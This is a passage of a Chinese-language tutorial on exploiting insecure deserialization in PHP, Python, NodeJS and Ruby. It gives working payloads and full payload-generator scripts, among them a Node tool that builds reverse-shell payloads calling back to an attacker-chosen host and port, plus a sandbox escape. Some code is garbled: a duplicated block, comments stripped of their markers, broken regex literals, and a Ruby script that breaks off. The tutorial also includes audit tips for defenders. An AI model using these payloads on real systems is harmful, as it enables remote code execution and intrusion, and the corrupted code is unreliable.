如前所述,示例应用程序使用 Slim、Guzzle 和 Yii。方便的是,这三个是 PHPGCC 支持的小工具链:

$ phpggc -l

Gadget Chains
-------------

NAME                                     VERSION                       TYPE             VECTOR         I
Guzzle/RCE1                               6.0.0 <= 6.3.2                 rce             __destruct     *
Slim/RCE1                                 3.8.1                         rce             __toString
Yii/RCE1                                 1.1.20                         rce             __wakeup       *

要利用 phar:// 引起的反序列化,必须生成恶意 phar 文件,然后使用 phar  wrapper作为名称的一部分将其发送给应用程序。phar wrapper将强制文件反序列化,启动最终导致 RCE 的 POP 链。可以使用以下命令生成有效负载:

$ phpggc Guzzle/RCE1 "shell_exec" "cmd c calc" -p phar -pf desert -o desert.phar

然后,可以启动易受攻击的脚本测试负载,将负载作为输入,并以 phar wrapper为前缀:

$ php php-wrap-desert.php -fphar://desert.phar/desert -p

这样做会在主机上弹出一个计算器。

另一个序列化漏洞可以通过类似的方式被利用,唯一需要注意的是以下几点:

即使 PHPGGC 有一个 Slim RCE gadget 链,如果打印功能被禁用(注释),它也不会工作。但是 Slim 使用 __toString 来触发 POP 链,因此如果没有字符串操作,它将无法做到这一点。要尝试它,请创建如下所示的有效负载:

$ phpggc Slim/RCE1 "system" "cmd c calc" -o desert.bin

尝试通过以下命令运行它:

$ php php-wrap-desert.php -fdesert.bin

什么都不会发生。启用打印功能并重试,将在主机上生成一个计算器。

2.3.3 源码审计小技巧

要找到这种漏洞,搜索常见正则表达式的代码通常是一个好的开始,例如:

  • unserialize

  • __wakeup

  • __destruct

    对于unserialize的每个匹配项,应手动检查代码以查看被反序列化的对象是否可以被外部攻击者操纵。之后,研究适合利用的类可能会从研究 __wakeup
    __destruct
    调用开始。

2.4 Python

Python 提供了对序列化/反序列化的内置支持,其中许多库可以使用不同的存储格式轻松封装对象,如二进制、XML、JSON、YAML 等。多年来,发现一些模块受到不安全的反序列化问题的影响。那些是:

  • pickle, 处理二进制序列化

  • pyYAML, 处理YAML序列化

  • jsonpickle, 处理JSON序列化

2.4.1 Python:二进制存储格式

在 Python 中,处理二进制序列化的主要库是 Pickle(在不同的包中提供,如 cPickle、pickle 和 _pickle)。已知该库在反序列化时会受到 RCE 的影响。

考虑以下代码:

import os
import _pickle

class Desert(object):
def __init__(self, name, width, heigth):
self.name = name
self.width = width
self.height = height

def __reduce__(self):
return Desert("Gobi", 8, 10)

# The application insecurely deserializes a file
def desert_deserialize(filename):
with open(filename, "r") as desert_file:
_pickle.loads(desert_file)

if __name__ == '__main__':
desert = desert_deserialize()

如您所见,pickle load() 函数在没有对文件内容进行任何事先检查的情况下被调用,允许攻击者将任意二进制负载传递给应用程序。

怎么利用?在 Python 中,没有像 ysoserial 这样的工具可用,也没有像之前分析的语言那样明确定义 POP gadget,但在这种情况下,根本不需要它们。

实际上,对于pickle、_pickle 和cPickle,可以使用一段简单的代码来制作有效载荷,如下所示:

import _pickle

class Payload(object):
def __reduce__(self):
return (os.system, ('whoami',))

def serialize_exploit():
shellcode = _pickle.dumps(Exploit())
return shellcode

改变返回函数,就可以生成执行不同命令所需的有效载荷。但是,使用各种技术创建比这更通用的东西是完全可能的,我们将看到的第一个称为动态类生成,代码如下:

import os
import _pickle
import sys

def Payload:
  pass

  def __reduce__(self):
      pass

def _patch(bytestream):
  byte_array = bytearray(bytestream)
  byte_array[-4] = int("52", 16)
  return bytes(byte_array)

def generate_class(name=None, methods=None):
  if not name:
      return None
  elif not methods:
      return None
  else:
      return type(name, (object,), methods)()

def serialize_class(commands):
  if not commands:
      print(f"[-] No command provided")
  else:
      methods = {
          "__reduce__": lambda self: (os.system, (commands,))
      }
      cls = generate_class("Payload", methods)
      return cls.__reduce__()

command = " ".join(sys.argv[1:])
print(f"[+] Generating serialized object for:")
print(f"   {command}")

with open("payload", "wb") as payload:
  payload.write(_patch(_pickle.dumps(serialize_class(command))))

您可能会注意到,一个名为 patch 的函数应用于序列化对象,在序列化后将patch 应用于二进制存储。之所以使用这个技巧,是因为 lambda 函数虽然被绑定到属性 reduce 并没有被解释为 reduce 方法,而是作为一个 lambda 函数:

1)静态定义

>>> print(Payload.__getattribute__(Payload(), "__reduce__"))
<bound method Payload.__reduce__ of <__main__.Payload object at 0x00000209218B9518>>

2)动态定义

>>> cls = generate_class("Payload", methods)
>>> print(cls.__getattribute__("__reduce__"))
<bound method serialize_class.<locals>.<lambda> of <__main__.Payload object at 0x00000209218B9080>>

尽管这不会停止序列化,但会导致在反序列化时无法执行有效负载。但是,_patch 函数在字节码级别成功修复了此问题,使有效负载再次可执行。

然而,有一种更好的方法可以实现相同的结果,保留好的部分(设置任意命令),避免坏的部分(动态类定义和修补),稍后会展示,以及完整的二进制和基于文本格式的有效负载生成器。

2.4.2 Python:基于文本的存档格式

Python 提供了几个不同的库,它们支持基于文本的序列化存储格式,例如 json(或 simplejson)或 ETree(用于 XML)。尽管已知这些库中的大多数都是安全的,但其中一些很容易受到这种攻击。在以下段落中,将简要说明基于文本的序列化如何工作、如何利用它以及如何生成自定义负载。

1)YAML

PyYAML,顾名思义,它是一个处理 YAML 格式的库。如前所述,它被发现容易受到反序列化问题的影响。

以下示例显示了从 python 控制台序列化的一个非常简单的对象:

>>> yaml.dump([{"a":"b"}])
'- a: b\n'
>>> yaml.dump([{"a":("b","c")}])
'- a: !!python/tuple\n - b\n - c\n'

分析序列化对象并不难,dict和lists处理得很好,而其他对象必须用它们的类符号进行序列化。例如,上面的对象将被翻译为:

-                 ==== [ 
a :!!python/tuple ==== {a : tuple(
- b - c ==== b, c
==== )}
==== ]

为了序列化一个任意的类,必须实现 reduce 方法,方法与 pickle 类似。

如何利用呢?考虑以下易受攻击的代码:

import yaml

# Try to create the desert object from YAML file
with open('desert.yml') as desert_file:
if float(yaml.__version__) <= 5.1:
desert = yaml.load(desert_file)
else:
desert = yaml.unsafe_load(desert_file)
# Try printing the desert name
print(desert['name'])

细心的读者可能会喜欢在实际调用load之前进行版本检查。这是故意完成的,因为从 PyYAML >= 5.1 开始,load函数被修补以避免“函数”反序列化(例如 os.system、subprocess.call、subprocess.check_output)。可以在这里找到一个非常好的解释。

主要概念相同:诱使应用程序加载任意类/方法。在 PyYAML 的情况下,以下有效负载可用于在托管服务器上生成计算器:

!!python/object/apply:nt.system
- cmd c calc

可以使用以下代码轻松创建这个简单的有效负载:

import yaml, os

class Payload:
def __reduce__(self):
return (os.system, ("cmd c calc.exe",))

yaml.dump(Payload())

3)JSON

已经在 pickle 中研究过的相同漏洞可以应用于 jsonpickle。顾名思义,jsonpickle 模块实际上是一个构建在 pickle 之上的 json 库。反序列化问题位于 decode() 函数调用中,如以下易受攻击的代码片段所示:

import jsonpickle

with open("payload.json", "r") as payload:
jsonpickle.decode(payload.read())

使用跟踪函数分析函数调用,可以看到模块实际上调用了易受攻击的loads函数。为了确认这一点,可以使用以下代码段:

import sys
import jsonpickle
import re


def trace(frame, event, arg):
if event != 'call':
return
c_object = frame.f_code
func_name = c_object.co_name
if not re.search(r"load", func_name):
return
func_name_line_no = frame.f_lineno
func_filename = c_object.co_filename
caller = frame.f_back
caller_line_no = caller.f_lineno
caller_filename = caller.f_code.co_filename
print('Call to {0} on line {1} of {2} from line {3} of {4}'.format(func_name, func_name_line_no, func_filename,caller_line_no, caller_filename))


with open("payload.json", "r") as payload:
sys.settrace(trace)
jsonpickle.decode(payload.read())

这将产生以下结果:

import sys
import jsonpickle
import re


def trace(frame, event, arg):
if event != 'call':
return
c_object = frame.f_code
func_name = c_object.co_name
if not re.search(r"load", func_name):
return
func_name_line_no = frame.f_lineno
func_filename = c_object.co_filename
caller = frame.f_back
caller_line_no = caller.f_lineno
caller_filename = caller.f_code.co_filename
print('Call to {0} on line {1} of {2} from line {3} of {4}'.format(func_name, func_name_line_no, func_filename,caller_line_no, caller_filename))


with open("payload.json", "r") as payload:
sys.settrace(trace)
jsonpickle.decode(payload.read())

这将产生以下结果:

$ python tracer.py

Call to loads on line 299 of C:\Users\amagnosi\AppData\Local\Programs\Python\Python37\lib\json\__init__.py from line 207 of C:\Users\amagnosi\PycharmProjects\PayloadGenerator\venv\lib\site-packages\jsonpickle\backend.py
Call to loadclass on line 600 of C:\Users\amagnosi\PycharmProjects\PayloadGenerator\venv\lib\site-packages\jsonpickle\unpickler.py from line 326 of C:\Users\amagnosi\PycharmProjects\PayloadGenerator\venv\lib\site-packages\jsonpickle\unpickler.py

对于前两个模块,序列化过程使用 __reduce__
来创建对象的序列化表示。生成一个有效的漏洞利用和 PyYAML 一样简单,可以使用以下代码完成:

import jsonpickle

class Payload:
  def __reduce__(self):
      return (os.system, ("cmd c calc.exe",))
   
jsonpickle.encode(Payload())

这看起来很有趣,但是在任何需要不同命令的时候,不重写代码去生成序列化有效负载会更好,对吗?下面,介绍了一种为上面列出的所有 python 模块动态生成有效负载的方法。

2.4.3 动态生成有效载荷:deser-py

以下称为 deser-py 的工具可用于为 pickle、yaml 和 jsonpickle 生成不同的有效负载。也可以在此处下载该工具的更新版本。

import os
import _pickle
import subprocess
import jsonpickle
import sys
import yaml
import argparse


class Payload:
  def __init__(self, commands, vector=None):
      self.vector = vector
      self.commands = commands

  def __reduce__(self):
      if self.vector == "os":
          return os.system, (self.commands,)
      elif self.vector == "subprocess":
          return subprocess.Popen, (self.commands,)


def print_available_formats():
  available_formats = {
      "pickle": "Format for cPickle and _pickle modules",
      "json": "Format for jsonpickle module",
      "yaml": "Format for PyYAML module"
      }
  for k, v in available_formats.items():
      print(f"   {k}: {v}")


if __name__ == "__main__":
  parser = argparse.ArgumentParser(
      description='deser-py - A simple serialization payload generator', add_help=True)

  parser.add_argument(
      '-d', '--debug', required=False, action='store_true', default=False,
      help='Enable debug messages')
  parser.add_argument(
      '-s', '--save', required=False, action='store_true', default=False,
      help='Save payload to file')
  parser.add_argument(
      '-v', '--vector', required=False, choices=["os", "subprocess"], default="os",
      help='Save payload to file')
  parser.add_argument(
      '-f', '--format', required=True, choices=["pickle", "json", "yaml", "#"], default="#",
      help='Serialization archive format')
  parser.add_argument(
      '-c', '--command', type=str, required=False, default=None, help='Command for the payload')

  args = parser.parse_args()

  if args.format == "#":
      print(f"[*] The following format are accepted:")
      print_available_formats()
      sys.exit()
  if not args.command:
      print(f"[-] A command (-c) is required to generate the payload")
  command = args.command

  print(f"[+] Generating serialized object for:")
  print(f"   {command}")
  cls = Payload(command, args.vector)

  if args.format == "pickle":
      if args.save:
          with open("payload.bin", "wb") as payload:
              payload.write(_pickle.dumps(cls))
      else:
          print(f"[+] Final Payload:\n   {_pickle.dumps(cls)}")
  elif args.format == "json":
      if args.save:
          with open("payload.json", "w") as payload:
              payload.write(jsonpickle.encode(cls))
      else:
          print(f"[+] Final Payload:\n   {jsonpickle.encode(cls)}")
  elif args.format == "yaml":
      if args.save:
          with open("payload.yml", "w") as payload:
              yaml.dump(cls, payload)
      else:
          p = yaml.dump(cls).replace('\n', '\n   ')
          print(f"[+] Final Payload:\n   {p}")
  else:
      sys.exit()

这个简单工具提供功能的使用帮助:

$ python PayloadGenerator.py -h
usage: PayloadGenerator.py [-h] [-d] [-s] [-v {os,subprocess}] -f {pickle,json,yaml,#} [-c COMMAND]

PayloadGenerator - A simple serialization payload generator

optional arguments:
-h, --help show this help message and exit
-d, --debug Enable debug messages
-s, --save Save payload to file
-v {os,subprocess}, --vector {os,subprocess}
Save payload to file
-f {pickle,json,yaml,#}, --format {pickle,json,yaml,#}
Serialization archive format
-c COMMAND, --command COMMAND
Command for the payload

为了简单测试有效负载,可以使用以下易受攻击的代码:

import _pickle
import sys
import yaml
import jsonpickle

if sys.argv[1] == "b":
with open("payload.bin", "rb") as payload:
_pickle.loads(payload.read())
elif sys.argv[1] == "y":
with open("payload.yml", "r") as payload:
if float(yaml.__version__) <= 5.1:
yaml.load(payload)
else:
yaml.unsafe_load(payload)
elif sys.argv[1] == "j":
with open("payload.json", "r") as payload:
jsonpickle.decode(payload.read())

例如,要为 jsonpickle 生成有效的有效负载,可以使用以下命令:

$ python PayloadGenerator.py -f json -v os -c "cmd c calc"
[+] Generating serialized object for:
cmd c calc
[+] Final Payload:
{"py/reduce": [{"py/function": "nt.system"}, {"py/tuple": ["cmd c calc"]}]}

2.4.4 源代码审计小技巧

要找到这种漏洞,搜索常见正则表达式的代码通常是一个好的开始,例如:

  • (loads|load|unsafe_load|decode)\s*\(

  • ([p|P]ickle|yaml)

对于每个匹配项,应该手动检查代码以查看被反序列化的对象是否可以被外部攻击者操纵。

2.5 NodeJS

在 NodeJS 中,序列化由许多不同的模块处理,这些模块允许以类似 JSON 的格式封装任意复杂对象。其中一些被发现容易受到反序列化问题的影响,它们是:

  • node-serialize

  • serialize-to-js

  • funcster

在开始深入研究漏洞之前,读者应该清楚,与之前的示例相比,JavaScript 中的此类问题的表现方式有所不同。不需要 POP gadget 链来触发 RCE 或类似的东西。为什么这样?通常,JavaScript 中会出现这种类型的错误,是因为序列化的有效负载被传递给了 eval() 或 new Function() 等函数,这意味着应用程序可能会执行任意代码。

2.5.1 NodeJS:基于文本的存储格式

1)node-serialize

第一个 被分析NodeJS 模块是 node-serialize。2017 年,一位名叫 Ajin Abraham 的研究人员发现该模块允许以不安全的方式反序列化函数对象,从而导致 RCE。

如果经过测试,可以看到 node-serialize 使用常规 JSON 格式序列化对象。但问题是,为什么不使用 JSON.stringify() 呢?原因是 JSON 不能真正序列化函数。

因此,如果使用 JSON.stringify 序列化包含函数名称的对象,则名称将丢失:

node -e "console.log(JSON.stringify({'a':function(){console.log('HELLO!');}}));"

{}

如果使用 node-serialize 进行序列化,则结果如下:

$ node -e "console.log(require('node-serialize').serialize({'a':function(){console.log('HELLO!');}}));"

{"a":"_$$ND_FUNC$$_function(){console.log('HELLO!');}"}

当然,在反序列化过程中会出现问题,因为要反转函数,node-serialize 会将任何以 $$ND_FUNC$$ 为前缀的对象传递给 eval,如下面的代码片段所示:

// https://github.com/luin/serialize/blob/master/lib/serialize.js
75. if(obj[key].indexOf(FUNCFLAG) === 0) {
76. obj[key] = eval('(' + obj[key].substring(FUNCFLAG.length) + ')');
77. }

这意味着如果像下面这样的序列化对象被 node-deserialize 反序列化:

{"rce":"_$$ND_FUNC$$_function() { CMD = \"cmd c calc\"; require('child_process').exec(CMD, function(error, stdout, stderr) { console.log(stdout) }); }()"}

该应用程序将在目标机器上执行任意命令(在这种情况下,在 Windows 机器上弹出一个计算器)。

2)funcster

funcster模块也受到反序列化漏洞的影响。但是漏洞是通过 module.exports 触发并在沙盒环境中执行的:

// https://github.com/jeffomatic/funcster/blob/master/js/lib/funcster.js
83. _generateModuleScript: function(serializedFunctions) {
84. var body, entries, name;
85. entries = [];
86. for (name in serializedFunctions) {
87. body = serializedFunctions[name];
88. entries.push("" + (JSON.stringify(name)) + ": " + body);
89. }
90. entries = entries.join(',');
91. return "module.exports=(function(module,exports){return{" + entries + "};})();";
92. },
...
141. vm.createScript(script, opts.filename).runInNewContext(sandbox);
142. return sandbox.module.exports;

出于这个原因,不可能直接将函数作为 require() 调用。但是,该过程仍然可以通过沙箱绕过来利用。实现这一点的常用技术是通过 this.constructor.constructor 访问全局对象。此有效负载可用于使用 require('funcster').unserialize() 在应用程序上实现 RCE:

{"rce":{"__js_function":"function(){CMD=\"cmd c calc\";const process = this.constructor.constructor('return this.process')();process.mainModule.require('child_process').exec(CMD,function(error,stdout,stderr){console.log(stdout)});}()"}}

3)cryo

最后一个分析的模块是cryo。正如模块网站上明确指出的那样,该库扩展了 JSON 功能,提供了复杂的对象和函数序列化。

该库不会通过反序列化直接受到 RCE 的攻击,因为它可以正确处理函数和复杂对象。但是,它允许重新定义对象原型。读者可能知道,JavaScript 中的任何对象都拥有自己的属性和方法。通常,不可能向现有对象构造函数添加属性,但是,JavaScript 原型允许在运行时添加/重新定义属性或方法,而无需通过默认构造函数添加。此外,可以使用 __proto__
属性访问 Object.prototype 属性。

Object.prototype 的 __proto__
属性是一个访问器属性(一个 getter 函数和一个 setter 函数),它公开了访问它的对象的内部 [[Prototype]](一个对象或 null)。

操作 __proto__
属性,可能会覆盖/重新定义要反序列化的对象的标准方法,例如 toString() 或 valueOf()。在这种情况下,如果以下 JSON 有效负载被反序列化会发生什么?

{
"root":"_CRYO_REF_2",
"references":[{
"contents":{},
"value":"_CRYO_FUNCTION_function(){ CMD = \"cmd c calc\"; const process = this.constructor.constructor('return this.process')();process.mainModule.require('child_process').exec(CMD, function(error, stdout, stderr) { console.log(stdout) });}()"
},
{
"contents":{"toString":"_CRYO_REF_0"},
"value":"_CRYO_OBJECT_" },
{
"contents":{"__proto__":"_CRYO_REF_1"},
"value":"_CRYO_OBJECT_"
}]
}

在反序列化期间,cryo 将通过 proto 访问器重新定义 toString() 函数。如果应用程序随后尝试调用反序列化对象的 toString() 方法,则将调用 RCE 函数。当然,任何对象方法都可能被覆盖,toString 只是一个例子。

2.5.2 动态生成有效载荷:deser-node

和其他语言一样,有一个工具来自动生成合适的有效载荷会很方便。为了做到这一点,创建了以下脚本,名为desert-node。该工具可用于为本文中介绍的库生成不同的有效负载。也可以在此处下载该工具的更新版本。

/**
* This script provides a simple cli to generate payloads for:
* - node-serialize
* - funcster
* - cryo
*
* It's not meant to be a complete tool, but just a proof of concept
**/
var fs = require('fs');

var argv = require('yargs')
  .usage('Usage: $0 -f [file] [options]')
  .alias('f', 'file')
  .alias('m', 'mode')
  .alias('s', 'serializer')
  .alias('v', 'vector')
  .alias('c', 'command')
  .alias('H', 'lhost')
  .alias('P', 'lport')
  .alias('t', 'target')
  .alias('p', 'cryoprototype')
  .alias('h', 'help')
  .choices('s', [, 'ns', 'fstr', 'cryo'])
  .choices('m', ['serialize', 'deserialize'])
  .choices('v', ['rce', 'rshell'])
  .choices('t', ['linux', 'windows'])
  .default('t', 'windows')
  .default('p', 'toString')
  .default('s', 'ns')
  .default('m', 'serialize')
  .describe('f','Input file')
  .describe('m','Operational mode, may be serialize or deserialize')
  .describe('s','The serializer module to use')
  .describe('v','The vector is command exe or reverse shell')
  .describe('c','The command to execute (-v rce must be used)')
  .describe('e','Charencode the payload (not implemented yet)')
  .describe('H','Local listener IP (-v rshell must be used)')
  .describe('P','Local listener PORT (-v rshell must be used)')
  .describe('t','Target machine OS, may be Win or Linux')
  .demandOption(['f'])
  .showHelpOnFail(false, "Specify --help for available options")
  .argv;

var payload;

// Serialize function wrap
function serialize(serializer, object) {
  if (serializer == "fstr") {
      var serialize = require('funcster');
      return JSON.stringify(serialize.deepSerialize(object),null,0);
  } else if (serializer == "ns") {
      return require('node-serialize').serialize(object);
  } else if (argv.serializer == "cryo") {
      return require('cryo').stringify(object);
  }
}

// Deserialize function wrap
function deserialize(serializer, object) {
  if (serializer == "fstr") {
      return require('funcster').deepDeserialize(object);
  } else if (serializer == "ns") {
      return require('node-serialize').unserialize(object);
  } else if (argv.serializer == "cryo") {
      return require('cryo').parse(object);
  }
}

/* As dynamic commands couldn't be added during serialization,
* these tags were applied to payload templates to allow dynamic
* configuration
*/
cmd_tag = ####COMMAND####/g;
lhost_tag = ####LHOST####/g;
lport_tag = ####LPORT####/g;
shell_tag = ####SHELL####/g;
sentinel_tag = \/\/####SENTINEL####\s*}/g;
proto_tag=/function_prototype/g;

//BEGIN - Payload Template Generation
if (argv.vector == "rshell" && argv.serializer != "cryo") {
  if (typeof argv.lport == 'undefined' || typeof argv.lhost == 'undefined') {
      console.log("[-] RShell vector requires LHOST and LPORT to be specified");
      process.exit();
  }
  payload = {
      rce: function() {
          var net = require('net');
          var spawn = require('child_process').spawn;
          HOST = "####LHOST####";
          PORT = "####LPORT####";
          TIMEOUT = "5000";
          if (typeof String.prototype.contains === 'undefined') {
              String.prototype.contains = function(it) {
                  return this.indexOf(it) != -1;
              };
          }

          function c(HOST, PORT) {
              var client = new net.Socket();
              client.connect(PORT, HOST, function() {
                  var sh = spawn("####SHELL####", []);
                  client.write("Connected!");
                  client.pipe(sh.stdin);
                  sh.stdout.pipe(client);
                  sh.stderr.pipe(client);
                  sh.on('exit', function(code, signal) {
                      client.end("Disconnected!");
                  });
              });
              client.on('error', function(e) {
                  setTimeout(c(HOST, PORT), TIMEOUT);
              });
          }
          c(HOST, PORT);//####SENTINEL####
      }
  }
} else if (argv.vector == "rshell" && argv.serializer == "cryo") {
  if (typeof argv.lport == 'undefined' || typeof argv.lhost == 'undefined') {
      console.log("[-] RShell vector requires LHOST and LPORT to be specified");
      process.exit();
  }
  payload = {
      __proto: {
          function_prototype: function() {
              var net = require('net');
              var spawn = require('child_process').spawn;
              HOST = "####LHOST####";
              PORT = "####LPORT####";
              TIMEOUT = "5000";
              if (typeof String.prototype.contains === 'undefined') {
                  String.prototype.contains = function(it) {
                      return this.indexOf(it) != -1;
                  };
              }

              function c(HOST, PORT) {
                  var client = new net.Socket();
                  client.connect(PORT, HOST, function() {
                      var sh = spawn('####SHELL####', []);
                      client.write("Connected!");
                      client.pipe(sh.stdin);
                      sh.stdout.pipe(client);
                      sh.stderr.pipe(client);
                      sh.on('exit', function(code, signal) {
                          client.end("Disconnected!");
                      });
                  });
                  client.on('error', function(e) {
                      setTimeout(c(HOST, PORT), TIMEOUT);
                  });
              }
              c(HOST, PORT);//####SENTINEL####
          }
      }
  }
} else if (argv.vector == "rce" && argv.serializer != "cryo") {
  if (typeof argv.command == 'undefined') {
      console.log("[-] RCE vector requires a command to be specified");
      process.exit();
  }
  payload = {
      rce: function() {
          CMD = "####COMMAND####";
          require('child_process').exec(CMD, function(error, stdout, stderr) {
              console.log(stdout)
          });//####SENTINEL####
      },
  }
} else if (argv.vector == "rce" && argv.serializer == "cryo") {
  if (typeof argv.command == 'undefined') {
      console.log("[-] RCE vector requires a command to be specified");
      process.exit();
  }
  payload = {
      __proto: {
          function_prototype: function() {
              CMD = "####COMMAND####";
              require('child_process').exec(CMD, function(error, stdout, stderr) {
                  console.log(stdout)
              });//####SENTINEL####
          }
      }
  }
} else {
  payload = {
      rce: function() {
          require('child_process').exec('cmd c calc', function(error, stdout, stderr) {
              console.log(stdout)
          });//####SENTINEL####
      },
  }
}
//END - Payload Template Generation

//BEGIN - Payload Customization
if (argv.mode == "serialize") {
  var serialized_object = serialize(argv.serializer, payload);
  if (argv.serializer == "cryo") {
      Prototype rewriting
      serialized_object = serialized_object.replace("__proto", "__proto__");
  }
  Beautify
  serialized_object = serialized_object.replace(/(\\t|\\n)/gmi, "");
  serialized_object = serialized_object.replace(/(\s+)/gmi," ");
  Setting up CMD (if applicable)
  serialized_object = serialized_object.replace(cmd_tag, argv.command);
  Setting up RSHELL (if applicable)
  serialized_object = serialized_object.replace(lhost_tag, argv.lhost);
  serialized_object = serialized_object.replace(lport_tag, argv.lport);
  Setting up shell basing on OS
  if (argv.target == "windows") {
      serialized_object = serialized_object.replace(shell_tag, "cmd");
  } else if (argv.target == "linux") {
      serialized_object = serialized_object.replace(shell_tag, "/bin/sh");
  }
  Making payload executable with "()"
  if(serialized_object.includes("####SENTINEL####")){
      serialized_object = serialized_object.replace(sentinel_tag, '}()');
  } else {
      serialized_object = serialized_object.replace('"}}', '()"}}');
  }
  if (argv.serializer == "fstr" || argv.serializer == "cryo") {
      if(argv.serializer == "cryo"){
          serialized_object = serialized_object.replace(proto_tag, argv.cryoprototype);
      }
      if (argv.vector == "rce") {
          Modifying RCE payload to bypass the sandbox via this.constructor.constructor
          serialized_object = serialized_object.replace("require('child_process')", "const process = this.constructor.constructor('return this.process')();process.mainModule.require('child_process')");
      } else if (argv.vector == "rshell") {
          Modifying RSHELL payload to bypass the sandbox via this.constructor.constructor
          serialized_object = serialized_object.replace("var net=require('net');var spawn=require('child_process').spawn;", "const process = this.constructor.constructor('return this.process')();var spawn=process.mainModule.require('child_process').spawn;var net=process.mainModule.require('net');");
          serialized_object = serialized_object.replace("var net = require('net');var spawn = require('child_process').spawn;", "const process = this.constructor.constructor('return this.process')();var spawn=process.mainModule.require('child_process').spawn;var net=process.mainModule.require('net');");
      }
  }
  Debug check
  console.log(serialized_object);
  Storing on file
  fs.writeFile(argv.file, serialized_object, function(err) {
      if (err) throw err;
      console.log('[+] Serializing payload');
  });
} else if (argv.mode == "deserialize") {
  Reading payload from file
  fs.readFile(argv.file, function(err, data) {
      if (err) throw err;
      console.log('[+] Deserializing payload');
      var object = data;
      cryo handles JSON directly - no need to JSON.parse
      if (argv.serializer != "cryo") {
          object = JSON.parse(data);
      }
      console.log(object);
      Triggering RCE
      var deser = deserialize(argv.serializer, object);
      Triggering RCE for Cryo
      deser.toString();
  });
}

2.5.3 源代码审计小技巧

对于 NodeJS 应用程序,很难就解决此类问题的常见策略提出建议,因为其中存在许多库,且将来可能会创建许多库。尽管如此,作为一般建议,开始搜索常见正则表达式的代码通常是个好主意,例如:

  • (unserialize|parse)\s*\(

  • (node-serialize|funcster|serialize-to-js|cryo)

对于每个匹配项,应该手动检查代码以查看被反序列化的对象是否可以被外部攻击者操纵。

2.6 Ruby

Ruby,就像之前看到的所有编程语言一样,提供序列化支持,包括混合(使用 Marshal)和纯文本(主要是 JSON 或 YAML)。多年来,在 Ruby 中发现了两个允许在反序列化过程中使用 RCE 的主要漏洞。受影响的功能是:

  • Marshal.load()

  • YAML.load()

2.6.1 Ruby:二进制存储格式

1)Marshal

最初,这个漏洞是 Charlie Somerville 在针对 Ruby on Rails 的研究中发现的,导致发现了一个基于 rails 模块的小工具链。然而,链本身存在一些主要缺点:

  • 必须加载 ActiveSupport gem

  • 必须加载来自 stdlib 的 ERB

  • 反序列化后,必须在反序列化的对象上调用一个不存在的方法

上述预设机制不会影响在 Ruby on Rails 应用程序中工作的有效负载,因为这些要求很容易满足。但是,它们会成为任何其他 Ruby 应用程序的阻碍。为了测试它,可以使用以下命令,看看它只有在之前加载过 rails/all 时才有效:

a) 不需要'rails/all'

$ ruby -e 'Marshal.load("\u0004\bo:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\a:\u000E@instanceo:\bERB\u0006:\t@srcI\"\u0018eval(`puts \"TEST\"`)\u0006:\u0006ET:\f@method:\vresult")'

Traceback (most recent call last):
      1: from -e:1:in `<main>'
-e:1:in `load': undefined class/module ActiveSupport:: (ArgumentError)

b) 需要'rails/all'

$ ruby -e 'require "rails/all";Marshal.load("\u0004\bo:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\a:\u000E@instanceo:\bERB\u0006:\t@srcI\"\u0018eval(`puts \"TEST\"`)\u0006:\u0006ET:\f@method:\vresult")'

# May result in TypeError: Implicit Conversion of nil to int (in this case downgrade Ruby)
TEST

然而,Luke Jahnke 在一项新的研究发现了一个仅使用 Ruby 标准库的 POP 小工具链,没有任何先前的要求,也不依赖任何附加模块。

如原始研究中所述,可在此处找到,POP 小工具链是利用函数构建的,然后使用任意命令调用 Kernel.open。完整的执行流程可以总结如下:

  1. Gem::Requirement -> 调用@requirements.each(对象列表)

  2. Gem::DependencyList -> 用作列表,调用@specs.sort(排序需要比较器)

  3. Gem::Source::SpecificFile -> 实现了一个合适的比较器(<=> 三目比较运算符),调用 @spec.name

  4. Gem::StubSpecification -> 名称调用 data.name 的实现 -> 调用 Kernel.open(@loaded_from)

  5. RCE 是通过使用命令操作 @loaded_from 来实现的

研究人员提供的脚本中,为静态命令“id”生成有效载荷的十六进制版本和 base64 版本。甚至可以在 PayloadAllTheThings 上找到有效负载。

但是,提供的脚本显示了一系列缺点:

  • 在攻击者机器上多次执行payload

  • 不提供动态生成(使用自定义命令)

  • 只能用于 Marshal 有效载荷

2.6.2 Ruby:基于文本的存储格式

1)YAML

这听起来可能很繁琐,但同样的链也可以应用于 YAML.load() 函数。如果您之前访问过 PayloadAllTheThings,您可能会注意到以下 YAML 负载:

--- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::DependencyList
specs:
- !ruby/object:Gem::Source::SpecificFile
spec: &1 !ruby/object:Gem::StubSpecification
loaded_from: "|id 1>&2"
- !ruby/object:Gem::Source::SpecificFile
spec:

现在,如果你注意它,你会很容易理解它的工作方式与之前解释的 Marshal 有效载荷完全相同。

Payload 是由另一位安全研究员 Etienne Stalmans(又名 STRAALDRAAD)创建的,他的完整研究可以在这里找到。但是,从他的研究中可以看出,有效载荷是“手动”创建的。如果你想知道为什么,研究解释说,使用 Marshal 有效载荷的原始脚本,当通过 YAML.dump 更改对 Marshal.dump 的调用,会导致不工作(不完整)的有效载荷。我个人对这种方法感到失望,因为脚本很容易修复。主要问题是在 YAML.dump 中使用全局变量($ 前缀变量),会强制在序列化期间执行有效负载(这是使用 Marshal.dump 生成正确有效负载所必需的),但会阻止 yaml 有效负载的生成(作为异常将在函数结束之前显示)。将全局变量转换为局部变量,并重建对象进行序列化,成功解决问题。

2.6.3 动态生成有效载荷:deser-ruby

为了完整起见并提供我上面所说的示例,提供了以下工具,名为 Desert-ruby,可使用 Universal Ruby 2.x RCE 小工具链为 Ruby 的 Marshal 和 YAML 动态生成有效负载。也可以在此处下载该工具的最新版本。

#!/usr/bin/env ruby
require 'optparse'
require 'yaml'

Options = Struct.new(:save,:encode,:yaml,:command,:test)

class Parser
def self.parse(options)
  args = Options.new("Ruby RCE deserialization payload generator")

  opt_parser = OptionParser.new do |opts|
    opts.banner = "Usage: serializer.rb [options]"

    opts.on("-sFILE", "--save=FILE", "File to store payload (default=payload)") do |f|
      args.save = f
    end
    opts.on("-y", "--yaml", "Generate YAML payload (default is False)") do |y|
      args.yaml = y
    end
    opts.on("-t", "--test", "Attempt payload deserialization") do |t|
      args.test = t
    end
    opts.on("-cCOMMAND", "--command=COMMAND", "Command to execute") do |c|
      args.command = c
    end
    opts.on("-eENCODE", "--encode=ENCODE", "Encode payload (base64|hex)") do |e|
      args.encode = e
    end
    opts.on("-h", "--help", "Prints this help") do
      puts opts
      exit
    end
  end

  opt_parser.parse!(options)
